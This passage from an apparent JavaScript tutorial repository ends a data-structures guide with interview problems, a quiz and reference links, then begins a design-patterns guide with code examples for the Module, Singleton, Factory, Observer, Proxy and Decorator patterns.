'B', 'C'] - goes deep first ``` **Real-world uses:** - Social networks (friend connections) - Maps and navigation (shortest path) - Recommendation systems - Dependency resolution (package managers) </Accordion> --- ## Choosing the Right Data Structure ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ WHICH DATA STRUCTURE SHOULD I USE? │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Need ordered data with index access? │ │ └──► ARRAY │ │ │ │ Need key-value pairs with string keys? │ │ └──► OBJECT (static data) or MAP (dynamic) │ │ │ │ Need key-value with any type as key? │ │ └──► MAP │ │ │ │ Need unique values only? │ │ └──► SET │ │ │ │ Need LIFO (last in, first out)? │ │ └──► STACK │ │ │ │ Need FIFO (first in, first out)? │ │ └──► QUEUE │ │ │ │ Need fast insert/delete at beginning? │ │ └──► LINKED LIST │ │ │ │ Need fast search + sorted data? │ │ └──► BINARY SEARCH TREE │ │ │ │ Modeling relationships/connections? │ │ └──► GRAPH │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` | Use Case | Best Structure | Why | |----------|----------------|-----| | Todo list | Array | Ordered, index access | | User settings | Object | String keys, static | | Word frequency counter | Map | Easy increment, any key | | Tag system | Set | Unique values | | Browser back button | Stack | LIFO | | Task scheduler | Queue | FIFO | | Playlist with prev/next | Linked List (doubly) | O(1) traversal | | Dictionary/autocomplete | Trie | Fast prefix search | | Social network | Graph | Connections | --- ## Common Interview Questions Interview questions often test your understanding of data structures. Here are patterns you'll encounter: <AccordionGroup> <Accordion title="Array: Two Sum"> **Problem:** Find two numbers in an array that add up to a target. **Approach:** Use a Map to store numbers you've seen. For each number, check if `target - number` exists in the Map. ```javascript function twoSum(nums, target) { const seen = new Map() for (let i = 0; i < nums.length; i++) { const complement = target - nums[i] if (seen.has(complement)) { return [seen.get(complement), i] } seen.set(nums[i], i) } return [] } twoSum([2, 7, 11, 15], 9) // [0, 1] ``` **Why Map?** O(1) lookup turns O(n²) brute force into O(n). </Accordion> <Accordion title="Stack: Valid Parentheses"> **Problem:** Check if a string of brackets is valid: `()[]{}`. **Approach:** Push opening brackets onto stack. When you see a closing bracket, pop and check if it matches. ```javascript function isValid(s) { const stack = [] const pairs = { ')': '(', ']': '[', '}': '{' } for (const char of s) { if (char in pairs) { // Closing bracket - check if it matches if (stack.pop() !== pairs[char]) { return false } } else { // Opening bracket - push to stack stack.push(char) } } return stack.length === 0 } isValid('([{}])') // true isValid('([)]') // false ``` </Accordion> <Accordion title="Linked List: Reverse"> **Problem:** Reverse a linked list. **Approach:** Keep track of previous, current, and next. Reverse pointers as you go. ```javascript function reverseList(head) { let prev = null let current = head while (current) { const next = current.next // Save next current.next = prev // Reverse pointer prev = current // Move prev forward current = next // Move current forward } return prev // New head } ``` **Key insight:** You need three pointers to avoid losing references. </Accordion> <Accordion title="Linked List: Detect Cycle"> **Problem:** Determine if a linked list has a cycle. **Approach:** Floyd's Tortoise and Hare - use two pointers, one fast (2 steps) and one slow (1 step). If they meet, there's a cycle. ```javascript function hasCycle(head) { let slow = head let fast = head while (fast && fast.next) { slow = slow.next fast = fast.next.next if (slow === fast) { return true // They met - cycle exists } } return false // Fast reached end - no cycle } ``` **Why this works:** In a cycle, the fast pointer will eventually "lap" the slow pointer. </Accordion> <Accordion title="Tree: Maximum Depth"> **Problem:** Find the maximum depth of a binary tree. **Approach:** Recursively find the depth of left and right subtrees, take the max. ```javascript function maxDepth(root) { if (!root) return 0 const leftDepth = maxDepth(root.left) const rightDepth = maxDepth(root.right) return Math.max(leftDepth, rightDepth) + 1 } ``` **Base case:** Empty tree has depth 0. </Accordion> <Accordion title="Queue: Implement with Two Stacks"> **Problem:** Implement a queue using only stacks. **Approach:** Use two stacks. Push to stack1. For dequeue, if stack2 is empty, pour all of stack1 into stack2 (reversing order), then pop from stack2. ```javascript class QueueFromStacks { constructor() { this.stack1 = [] // For enqueue this.stack2 = [] // For dequeue } enqueue(item) { this.stack1.push(item) } dequeue() { if (this.stack2.length === 0) { // Pour stack1 into stack2 while (this.stack1.length) { this.stack2.push(this.stack1.pop()) } } return this.stack2.pop() } } ``` **Amortized O(1):** Each element is moved at most twice. </Accordion> </AccordionGroup> --- ## Key Takeaways <Info> **The key things to remember:** 1. **Arrays** are great for ordered data with index access. Push/pop are O(1), but shift/unshift are O(n). 2. **Objects** store string-keyed data. Use them for static configuration and entity data. 3. **Map** is the better choice when keys aren't strings, you need `.size`, or you add/delete frequently. 4. **Set** stores unique values. The `[...new Set(arr)]` trick removes duplicates instantly. 5. **Stack (LIFO)** is perfect for undo/redo, parsing expressions, and DFS traversal. 6. **Queue (FIFO)** is ideal for task scheduling and BFS traversal. Use a linked list for O(1) dequeue. 7. **Linked Lists** excel at insertions/deletions but lack random access. Use when you frequently modify the beginning. 8. **Binary Search Trees** give O(log n) search/insert/delete on average. They keep data sorted. 9. **Choose based on your most frequent operation.** What makes one structure fast makes another slow. 10. **Interview tip:** When you need O(1) lookup, think Map or Set. When you need to track order of operations, think Stack or Queue. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: When would you use a Map instead of an Object?"> **Answer:** Use Map when: - Keys are not strings (objects, numbers, etc.) - You need to know the size frequently (`.size` vs `Object.keys().length`) - You add/delete keys often (Map is optimized for this) - You need guaranteed insertion order - You want to avoid prototype chain issues Use Object when: - Keys are known strings - You're working with JSON data - You need object destructuring or spread syntax </Accordion> <Accordion title="Question 2: Why is array shift() O(n) but pop() O(1)?"> **Answer:** `pop()` removes from the end. No other elements need to move. `shift()` removes from the beginning. Every remaining element must be re-indexed: - Element at index 1 moves to 0 - Element at index 2 moves to 1 - ...and so on This is why Queue implementations with arrays have O(n) dequeue. For O(1), use a linked list or object with head/tail pointers. </Accordion> <Accordion title="Question 3: What's the difference between a Stack and a Queue?"> **Answer:** **Stack (LIFO):** Last In, First Out - Like a stack of plates - you take from the top - `push()` and `pop()` operate on the same end - Use for: undo/redo, back button, recursion **Queue (FIFO):** First In, First Out - Like a line at a store - first person in line is served first - `enqueue()` adds to back, `dequeue()` removes from front - Use for: task scheduling, BFS, print queues </Accordion> <Accordion title="Question 4: When would a Linked List be better than an Array?"> **Answer:** Linked List wins when: - You frequently insert/delete at the beginning (O(1) vs O(n)) - You don't need random access by index - You're implementing a queue (O(1) dequeue) - Memory is fragmented (nodes can be anywhere) Array wins when: - You need index-based access - You iterate sequentially often - You mostly add/remove from the end - You need `.length`, `.map()`, `.filter()`, etc. </Accordion> <Accordion title="Question 5: What makes Binary Search Trees fast?"> **Answer:** BSTs use the rule: left < parent < right. This means: - To find a value, compare with root - If smaller, go left; if larger, go right - Each comparison eliminates half the remaining nodes This gives O(log n) search, insert, and delete (on average). **Catch:** If you insert sorted data, the tree becomes a linked list (all nodes on one side), and operations become O(n). Self-balancing trees (AVL, Red-Black) solve this. </Accordion> <Accordion title="Question 6: How would you remove duplicates from an array?"> **Answer:** The cleanest way is with Set: ```javascript const unique = [...new Set(array)] ``` This works because: 1. `new Set(array)` creates a Set (which only keeps unique values) 2. `[...set]` spreads the Set back into an array Time complexity: O(n) - each element is processed once. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What are data structures in JavaScript?"> Data structures are ways of organizing and storing data so it can be accessed and modified efficiently. JavaScript provides several built-in structures — Array, Object, Map, Set, WeakMap, and WeakSet — and you can implement others like stacks, queues, and linked lists using classes. Choosing the right structure depends on your most frequent operations. </Accordion> <Accordion title="When should I use a Map instead of an Object in JavaScript?"> Use a Map when your keys are not strings (objects, functions, numbers), when you need guaranteed insertion order, when you frequently add and delete keys, or when you need the `.size` property. MDN recommends Map over Object for frequent additions and removals of key-value pairs due to better performance characteristics. </Accordion> <Accordion title="Are JavaScript arrays actually arrays?"> Not in the traditional computer science sense. As the V8 blog explains, JavaScript engines use multiple internal representations. Dense arrays with sequential numeric keys are stored as contiguous memory (like C arrays), but sparse arrays or arrays with mixed types may be stored as hash tables internally. This is why V8 optimizes differently based on how you use arrays. </Accordion> <Accordion title="How do I choose the right data structure for my problem?"> Consider your most frequent operations. If you need fast lookups by key, use a Map or Object. If you need to track unique values, use a Set. If order matters and you access by index, use an Array. If you need fast insertion and deletion at both ends, consider a linked list or deque implementation. </Accordion> <Accordion title="What is the time complexity of common JavaScript data structure operations?"> Array access by index is O(1), but `indexOf()` is O(n). Object, Map, and Set lookups are all O(1). Array `push()`/`pop()` are O(1), but `shift()`/`unshift()` are O(n) because all elements must be re-indexed. Understanding these complexities, as outlined in the ECMAScript specification, helps you avoid performance bottlenecks. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Algorithms & Big O" icon="gauge-high" href="/concepts/algorithms-big-o"> Understanding time complexity helps you choose the right data structure </Card> <Card title="Factories & Classes" icon="industry" href="/concepts/factories-classes"> The class syntax used to implement data structures </Card> <Card title="Higher-Order Functions" icon="function" href="/concepts/higher-order-functions"> Array methods like map, filter, and reduce </Card> <Card title="Recursion" icon="arrow-rotate-left" href="/concepts/recursion"> Essential for tree and graph traversal algorithms </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Array — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array"> Complete reference for JavaScript arrays </Card> <Card title="Object — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object"> Documentation for Object methods and properties </Card> <Card title="Map — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map"> Guide to the Map collection type </Card> <Card title="Set — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set"> Documentation for Set and its new ES2024 methods </Card> <Card title="WeakMap — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap"> When to use WeakMap for memory management </Card> <Card title="Data Structures Guide — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Data_structures"> MDN's overview of JavaScript data types and structures </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Map and Set — JavaScript.info" icon="newspaper" href="https://javascript.info/map-set"> The clearest explanation of Map and Set with interactive examples. Covers WeakMap and WeakSet too. </Card> <Card title="JavaScript Algorithms and Data Structures" icon="newspaper" href="https://github.com/trekhleb/javascript-algorithms"> Oleksii Trekhleb's legendary GitHub repo with implementations of every data structure and algorithm in JavaScript. Over 180k stars for good reason. </Card> <Card title="Data Structures in JavaScript" icon="newspaper" href="https://www.freecodecamp.org/news/data-structures-in-javascript-with-examples/"> freeCodeCamp's practical guide covering arrays through graphs with real-world examples you can follow along with. </Card> <Card title="Itsy Bitsy Data Structures" icon="newspaper" href="https://github.com/jamiebuilds/itsy-bitsy-data-structures"> Jamie Kyle's annotated source code explaining data structures in ~200 lines. Perfect if you learn by reading well-commented code. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="Data Structures and Algorithms in JavaScript" icon="video" href="https://www.youtube.com/watch?v=Gj5qBheGOEo&list=PLWKjhJtqVAbkso-IbgiiP48n-O-JQA9PJ"> freeCodeCamp's complete 8-hour course covering everything from Big O to graph algorithms. Great for interview prep. </Card> <Card title="JavaScript Data Structures: Getting Started" icon="video" href="https://www.youtube.com/watch?v=41GSinwoMYA"> Academind's beginner-friendly introduction focusing on when and why to use each structure, not just how. </Card> <Card title="Data Structures Easy to Advanced" icon="video" href="https://www.youtube.com/watch?v=RBSGKlAvoiM"> William Fiset's comprehensive course with animations that make complex structures like trees and graphs click. </Card> </CardGroup> ================================================ FILE: docs/concepts/design-patterns.mdx ================================================ --- title: "Design Patterns" sidebarTitle: "Design Patterns: Reusable Solutions" description: "Learn JavaScript design patterns like Module, Singleton, Observer, Factory, Proxy, and Decorator. Understand when to use each pattern and avoid common pitfalls." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Advanced Topics" "article:tag": "design patterns, singleton, observer, factory, proxy, decorator, software design" --- Ever find yourself solving the same problem over and over? What if experienced developers already figured out the best solutions to these recurring challenges? ```javascript // The Observer pattern — notify multiple listeners when something happens const newsletter = { subscribers: [], subscribe(callback) { this.subscribers.push(callback) }, publish(article) { this.subscribers.forEach(callback => callback(article)) } } // Anyone can subscribe newsletter.subscribe(article => console.log(`New article: ${article}`)) newsletter.subscribe(article => console.log(`Saving "${article}" for later`)) // When we publish, all subscribers get notified newsletter.publish("Design Patterns in JavaScript") // "New article: Design Patterns in JavaScript" // "Saving "Design Patterns in JavaScript" for later" ``` **Design patterns** are proven solutions to common problems in software design. They're not code you copy-paste. They're templates, blueprints, or recipes that you adapt to solve specific problems in your own code. Learning patterns gives you a vocabulary to discuss solutions with other developers and helps you recognize when a well-known solution fits your problem. <Info> **What you'll learn in this guide:** - What design patterns are and why they matter - The Module pattern for organizing code with private state - The Singleton pattern (and why it's often unnecessary in JavaScript) - The Factory pattern for creating objects dynamically - The Observer pattern for event-driven programming - The Proxy pattern for controlling object access - The Decorator pattern for adding behavior without modification - How to choose the right pattern for your problem </Info> <Warning> **Prerequisites:** This guide assumes you understand [Factories and Classes](/concepts/factories-classes) and [IIFE, Modules & Namespaces](/concepts/iife-modules). Design patterns build on these object-oriented and modular programming concepts. </Warning> --- ## The Toolkit Analogy Think of design patterns like specialized tools in a toolkit. A general-purpose hammer works for many tasks, but sometimes you need a specific tool: a Phillips screwdriver for certain screws, a wrench for bolts, or pliers for gripping. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ DESIGN PATTERNS TOOLKIT │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ CREATIONAL STRUCTURAL BEHAVIORAL │ │ ─────────── ────────── ────────── │ │ How objects How objects How objects │ │ are created are composed communicate │ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ Singleton │ │ Proxy │ │ Observer │ │ │ │ Factory │ │ Decorator │ │ │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │ │ │ Use when you need Use when you need Use when objects │ │ to control object to wrap or extend need to react to │ │ creation objects changes in others │ │ │ │ ┌─────────────────────────────────────────────────────────────────┐ │ │ │ MODULE (JS-specific) — Encapsulates code with private state │ │ │ └─────────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` You don't use every tool for every job. Similarly, you don't use every pattern in every project. The skill is recognizing when a pattern fits your problem. --- ## What Are Design Patterns? Design patterns are typical solutions to commonly occurring problems in software design. The term was popularized by Erich Gamma, Richard Helm, Ralph Johnson, and John Vlissides — the "Gang of Four" (GoF) — in their 1994 book *[Design Patterns: Elements of Reusable Object-Oriented Software](https://www.amazon.com/Design-Patterns-Elements-Reusable-Object-Oriented/dp/0201633612)*. They catalogued 23 patterns that developers kept reinventing, and the book has sold over 500,000 copies worldwide. ### Why JavaScript Is Different The original GoF patterns were written for languages like C++ and Smalltalk. As Addy Osmani explains in *[Learning JavaScript Design Patterns](https://www.amazon.com/Learning-JavaScript-Design-Patterns-Developers/dp/1098139879)*, JavaScript is fundamentally different: | Feature | Impact on Patterns | |---------|-------------------| | **First-class functions** | Many patterns simplify to just passing functions around | | **Prototypal inheritance** | No need for complex class hierarchies | | **ES Modules** | Built-in module system replaces manual Module pattern | | **Dynamic typing** | No need for interface abstractions | | **Closures** | Natural way to create private state | This means some classical patterns are overkill in JavaScript, while others become more elegant. We'll focus on the patterns that are genuinely useful in modern JavaScript. ### The Three Categories The original GoF patterns are grouped into three categories: 1. **Creational Patterns** — Control how objects are created - Singleton, Factory Method, Abstract Factory, Builder, Prototype 2. **Structural Patterns** — Control how objects are composed - Proxy, Decorator, Adapter, Facade, Bridge, Composite, Flyweight 3. **Behavioral Patterns** — Control how objects communicate - Observer, Strategy, Command, Mediator, Iterator, State, and others <Note> **JavaScript-specific patterns:** The **Module pattern** isn't one of the original 23 GoF patterns. It's a JavaScript idiom that emerged to solve JavaScript-specific problems (like the lack of built-in modules before ES6). We include it here because it's essential for JavaScript developers. </Note> We'll cover six patterns that are particularly useful in JavaScript: **Module** (JS-specific), **Singleton**, **Factory**, **Observer**, **Proxy**, and **Decorator**. --- ## The Module Pattern The **Module pattern** encapsulates code into reusable units with private and public parts. Before ES6 modules existed, developers used IIFEs (Immediately Invoked Function Expressions) to create this pattern. Today, JavaScript has built-in [ES Modules](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Modules) that provide this naturally. ### ES6 Modules: The Modern Approach Each file is its own module. Variables are private unless you [`export`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/export) them: ```javascript // counter.js — A module with private state let count = 0 // Private — not exported, not accessible outside export function increment() { count++ return count } export function decrement() { count-- return count } export function getCount() { return count } // main.js — Using the module import { increment, getCount } from './counter.js' increment() increment() console.log(getCount()) // 2 // Trying to access private state // console.log(count) // ReferenceError: count is not defined ``` ### The Classic IIFE Module Pattern Before ES6, developers used closures to create modules: ```javascript // The revealing module pattern using IIFE const Counter = (function() { // Private variables and functions let count = 0 function logChange(action) { console.log(`Counter ${action}: ${count}`) } // Public API — "revealed" by returning an object return { increment() { count++ logChange('incremented') return count }, decrement() { count-- logChange('decremented') return count }, getCount() { return count } } })() Counter.increment() // "Counter incremented: 1" Counter.increment() // "Counter incremented: 2" console.log(Counter.getCount()) // 2 // Private members are truly private console.log(Counter.count) // undefined console.log(Counter.logChange) // undefined ``` ### When to Use the Module Pattern <AccordionGroup> <Accordion title="Organizing related functionality"> Group related functions and data together. A `UserService` module might contain `login()`, `logout()`, `getCurrentUser()`, and private token storage. </Accordion> <Accordion title="Hiding implementation details"> Expose only what consumers need. Internal helper functions, validation logic, and caching mechanisms stay private. </Accordion> <Accordion title="Avoiding global namespace pollution"> Instead of 50 global functions, you have one module export. This prevents naming collisions with other code. </Accordion> </AccordionGroup> <Tip> **Modern JavaScript:** Use ES6 modules (`import`/`export`) for new projects. The IIFE pattern is mainly for legacy code or environments without module support. See [IIFE, Modules & Namespaces](/concepts/iife-modules) for a deeper dive. </Tip> --- ## The Singleton Pattern The **Singleton pattern** ensures a class has only one instance and provides a global access point to that instance. According to [Refactoring Guru](https://refactoring.guru/design-patterns/singleton), it solves two problems: guaranteeing a single instance and providing global access to it. ### JavaScript Implementation ```javascript // Singleton using Object.freeze — immutable configuration const Config = { apiUrl: 'https://api.example.com', timeout: 5000, debug: false } Object.freeze(Config) // Prevent all modifications // Usage anywhere in your app console.log(Config.apiUrl) // "https://api.example.com" // Attempting to modify throws an error in strict mode (silently fails otherwise) Config.apiUrl = 'https://evil.com' console.log(Config.apiUrl) // Still "https://api.example.com" Config.debug = true console.log(Config.debug) // Still false — frozen objects are immutable ``` ### Class-Based Singleton ```javascript let instance = null class Database { constructor() { if (instance) { return instance // Return existing instance } this.connection = null instance = this } connect(url) { if (!this.connection) { this.connection = `Connected to ${url}` console.log(this.connection) } return this.connection } } const db1 = new Database() const db2 = new Database() console.log(db1 === db2) // true — Same instance! db1.connect('mongodb://localhost') // "Connected to mongodb://localhost" db2.connect('mongodb://other') // Returns same connection, doesn't reconnect ``` ### Why Singleton Is Often an Anti-Pattern in JavaScript Here's the thing: **Singletons are often unnecessary in JavaScript**. Here's why: ```javascript // ES Modules are already singletons! // config.js export const config = { apiUrl: 'https://api.example.com', timeout: 5000 } // main.js import { config } from './config.js' // other.js import { config } from './config.js' // Both files get the SAME object — modules are cached! ``` <Warning> **Problems with Singletons:** 1. **Testing difficulties** — Tests share the same instance, making isolation hard 2. **Hidden dependencies** — Code that uses a Singleton has an implicit dependency 3. **Tight coupling** — Components become coupled to a specific implementation 4. **ES Modules already do this** — Module exports are cached; you get the same object every time **Better alternatives:** Dependency injection, React Context, or simply exporting an object from a module. </Warning> ### When Singletons Make Sense Despite the caveats, Singletons can be appropriate for: - **Logging services** — One logger instance for the entire app - **Configuration objects** — App-wide settings that shouldn't change - **Connection pools** — Managing a single pool of database connections <CardGroup cols={2}> <Card title="Singleton Pattern — Refactoring Guru" icon="book" href="https://refactoring.guru/design-patterns/singleton"> Detailed explanation with pros, cons, and implementation in multiple languages </Card> </CardGroup> --- ## The Factory Pattern The **Factory pattern** creates objects without exposing the creation logic. Instead of using `new` directly, you call a factory function that returns the appropriate object. According to the [State of JS 2023 survey](https://2023.stateofjs.com/), factory functions are among the most commonly used patterns in modern JavaScript codebases. This centralizes object creation and makes it easy to change how objects are created without updating every call site. ```javascript // Factory function — creates different user types function createUser(type, name) { const baseUser = { name, createdAt: new Date(), greet() { return `Hi, I'm ${this.name}` } } switch (type) { case 'admin': return { ...baseUser, role: 'admin', permissions: ['read', 'write', 'delete', 'manage-users'], promote(user) { console.log(`${this.name} promoted ${user.name}`) } } case 'editor': return { ...baseUser, role: 'editor', permissions: ['read', 'write'] } case 'viewer': default: return { ...baseUser, role: 'viewer', permissions: ['read'] } } } // Usage — no need to know the internal structure const admin = createUser('admin', 'Alice') const editor = createUser('editor', 'Bob') const viewer = createUser('viewer', 'Charlie') console.log(admin.permissions) // ['read', 'write', 'delete', 'manage-users'] console.log(editor.permissions) // ['read', 'write'] console.log(viewer.greet()) // "Hi, I'm Charlie" ``` ### When to Use the Factory Pattern - **Creating objects with complex setup** — Encapsulate the complexity - **Creating different types based on input** — Switch logic in one place - **Decoupling creation from usage** — Callers don't need to know implementation details <Info> **Want to go deeper?** The Factory pattern is covered extensively in [Factories and Classes](/concepts/factories-classes), including factory functions vs classes, the `new` keyword, and when to use each approach. </Info> <CardGroup cols={2}> <Card title="Factory Method — Refactoring Guru" icon="book" href="https://refactoring.guru/design-patterns/factory-method"> Complete guide to the Factory Method pattern with diagrams and examples </Card> </CardGroup> --- ## The Observer Pattern The **Observer pattern** defines a subscription mechanism that notifies multiple objects about events. According to [Refactoring Guru](https://refactoring.guru/design-patterns/observer), it lets you "define a subscription mechanism to notify multiple objects about any events that happen to the object they're observing." This pattern is everywhere: DOM events, React state updates, Redux subscriptions, Node.js EventEmitter, and RxJS observables all use variations of Observer. ### Building an Observable ```javascript class Observable { constructor() { this.observers = [] } subscribe(fn) { this.observers.push(fn) // Return an unsubscribe function return () => { this.observers = this.observers.filter(observer => observer !== fn) } } notify(data) { this.observers.forEach(observer => observer(data)) } } // Usage: A stock price tracker const stockPrice = new Observable() // Subscriber 1: Log to console const unsubscribeLogger = stockPrice.subscribe(price => { console.log(`Stock price updated: $${price}`) }) // Subscriber 2: Check for alerts stockPrice.subscribe(price => { if (price > 150) { console.log('ALERT: Price above $150!') } }) // Subscriber 3: Update UI (simulated) stockPrice.subscribe(price => { console.log(`Updating chart with price: $${price}`) }) // When price changes, all subscribers are notified stockPrice.notify(145) // "Stock price updated: $145" // "Updating chart with price: $145" stockPrice.notify(155) // "Stock price updated: $155" // "ALERT: Price above $150!" // "Updating chart with price: $155" // Unsubscribe the logger unsubscribeLogger() stockPrice.notify(160) // No log message, but alert and chart still update ``` ### The Magazine Subscription Analogy ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE OBSERVER PATTERN │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ PUBLISHER (Observable) SUBSCRIBERS (Observers) │ │ ────────────────────── ─────────────────────── │ │ │ │ ┌─────────────────────┐ ┌─────────────┐ │ │ │ │ ──────────► │ Reader #1 │ │ │ │ Magazine │ └─────────────┘ │ │ │ Publisher │ ┌─────────────┐ │ │ │ │ ──────────► │ Reader #2 │ │ │ │ • subscribers[] │ └─────────────┘ │ │ │ • subscribe() │ ┌─────────────┐ │ │ │ • unsubscribe() │ ──────────► │ Reader #3 │ │ │ │ • notify() │ └─────────────┘ │ │ │ │ │ │ └─────────────────────┘ │ │ │ │ When a new issue publishes, all subscribers receive it automatically. │ │ Readers can subscribe or unsubscribe at any time. │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` ### Real-World Example: Form Validation ```javascript // Observable form field class FormField { constructor(initialValue = '') { this.value = initialValue this.observers = [] } subscribe(fn) { this.observers.push(fn) return () => { this.observers = this.observers.filter(o => o !== fn) } } setValue(newValue) { this.value = newValue this.observers.forEach(fn => fn(newValue)) } } // Usage const emailField = new FormField('') // Validator subscriber emailField.subscribe(value => { const isValid = value.includes('@') console.log(isValid ? 'Valid email' : 'Invalid email') }) // Character counter subscriber emailField.subscribe(value => { console.log(`Characters: ${value.length}`) }) emailField.setValue('test') // "Invalid email" // "Characters: 4" emailField.setValue('test@example.com') // "Valid email" // "Characters: 16" ``` <CardGroup cols={2}> <Card title="Observer Pattern — Refactoring Guru" icon="book" href="https://refactoring.guru/design-patterns/observer"> Complete explanation with UML diagrams and pseudocode </Card> </CardGroup> --- ## The Proxy Pattern The **[Proxy](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy) pattern** provides a surrogate or placeholder for another object to control access to it. In JavaScript, the ES6 `Proxy` object lets you intercept and redefine fundamental operations like property access, assignment, and function calls. ### Basic Proxy Example ```javascript const user = { name: 'Alice', age: 25, email: 'alice@example.com' } const userProxy = new Proxy(user, { // Intercept property reads get(target, property) { console.log(`Accessing property: ${property}`) return target[property] }, // Intercept property writes set(target, property, value) { console.log(`Setting ${property} to ${value}`) // Validation: age must be a non-negative number if (property === 'age') { if (typeof value !== 'number' || value < 0) { throw new Error('Age must be a non-negative number') } } // Validation: email must contain @ if (property === 'email') { if (!value.includes('@')) { throw new Error('Invalid email format') } } target[property] = value return true } }) // All access goes through the proxy console.log(userProxy.name) // "Accessing property: name" // "Alice" userProxy.age = 26 // "Setting age to 26" userProxy.age = -5 // Error: Age must be a non-negative number userProxy.email = 'invalid' // Error: Invalid email format ``` ### Practical Use Case: Lazy Loading ```javascript // Expensive object that we don't want to create until needed function createExpensiveResource() { console.log('Creating expensive resource...') return { data: 'Loaded data from database', process() { return `Processing: ${this.data}` } } } // Proxy that delays creation until first use function createLazyResource() { let resource = null return new Proxy({}, { get(target, property) { // Create resource on first access if (!resource) { resource = createExpensiveResource() } const value = resource[property] // If it's a method, bind it to the resource return typeof value === 'function' ? value.bind(resource) : value } }) } const lazyResource = createLazyResource() console.log('Proxy created, resource not loaded yet') // Resource is only created when we actually use it console.log(lazyResource.data) // "Creating expensive resource..." // "Loaded data from database" console.log(lazyResource.process()) // "Processing: Loaded data from database" ``` ### When to Use the Proxy Pattern | Use Case | Example | |----------|---------| | **Validation** | Validate data before setting properties | | **Logging/Debugging** | Log all property accesses for debugging | | **Lazy initialization** | Delay expensive object creation | | **Access control** | Restrict access to certain properties | | **Caching** | Cache expensive computations | <CardGroup cols={2}> <Card title="Proxy — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy"> Complete API reference for JavaScript's Proxy object </Card> <Card title="Proxy Pattern — Refactoring Guru" icon="book" href="https://refactoring.guru/design-patterns/proxy"> Pattern explanation with diagrams and use cases </Card> </CardGroup> --- ## The Decorator Pattern The **Decorator pattern** attaches new behaviors to objects by wrapping them in objects that contain these behaviors. According to [Refactoring Guru](https://refactoring.guru/design-patterns/decorator), it lets you "attach new behaviors to objects by placing these objects inside special wrapper objects." In JavaScript, decorators are often implemented as functions that take an object and return an enhanced version. ### Adding Abilities to Objects ```javascript // Base object const createCharacter = (name) => ({ name, health: 100, describe() { return `${this.name} (${this.health} HP)` } }) // Decorator: Add flying ability const withFlying = (character) => ({ ...character, fly() { return `${character.name} soars through the sky!` }, describe() { return `${character.describe()} [Can fly]` } }) // Decorator: Add swimming ability const withSwimming = (character) => ({ ...character, swim() { return `${character.name} dives into the water!` }, describe() { return `${character.describe()} [Can swim]` } }) // Decorator: Add armor const withArmor = (character, armorPoints) => ({ ...character, armor: armorPoints, takeDamage(amount) { const reducedDamage = Math.max(0, amount - armorPoints) character.health -= reducedDamage return `${character.name} takes ${reducedDamage} damage (${armorPoints} blocked)` }, describe() { return `${character.describe()} [Armor: ${armorPoints}]` } }) // Compose decorators to build characters const duck = withSwimming(withFlying(createCharacter('Duck'))) console.log(duck.describe()) // "Duck (100 HP) [Can fly] [Can swim]" console.log(duck.fly()) // "Duck soars through the sky!" console.log(duck.swim()) // "Duck dives into the water!" const knight = withArmor(createCharacter('Knight'), 20) console.log(knight.describe()) // "Knight (100 HP) [Armor: 20]" console.log(knight.takeDamage(50)) // "Knight takes 30 damage (20 blocked)" ``` ### Function Decorators Decorators also work great with functions: ```javascript // Decorator: Log function calls const withLogging = (fn, fnName) => { return function(...args) { console.log(`Calling ${fnName} with:`, args) const result = fn.apply(this, args) console.log(`${fnName} returned:`, result) return result } } // Decorator: Memoize (cache) results const withMemoization = (fn) => { const cache = new Map() return function(...args) { const key = JSON.stringify(args) if (cache.has(key)) { console.log('Cache hit!') return cache.get(key) } const result = fn.apply(this, args) cache.set(key, result) return result } } // Original function function fibonacci(n) { if (n <= 1) return n return fibonacci(n - 1) + fibonacci(n - 2) } // Decorated version with logging const loggedAdd = withLogging((a, b) => a + b, 'add') loggedAdd(2, 3) // "Calling add with: [2, 3]" // "add returned: 5" // Decorated fibonacci with memoization const memoizedFib = withMemoization(function fib(n) { if (n <= 1) return n return memoizedFib(n - 1) + memoizedFib(n - 2) }) console.log(memoizedFib(10)) // 55 console.log(memoizedFib(10)) // "Cache hit!" — 55 ``` ### When to Use the Decorator Pattern - **Adding features without modifying original code** — Open/Closed Principle - **Composing behaviors dynamically** — Mix and match capabilities - **Cross-cutting concerns** — Logging, caching, validation, timing <CardGroup cols={2}> <Card title="Decorator Pattern — Refactoring Guru" icon="book" href="https://refactoring.guru/design-patterns/decorator"> Full explanation with structure diagrams and applicability guidelines </Card> </CardGroup> --- ## Common Mistakes with Design Patterns ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ DESIGN PATTERN MISTAKES │ ├─────────────────────────────────────────────────────────────────────────┤ 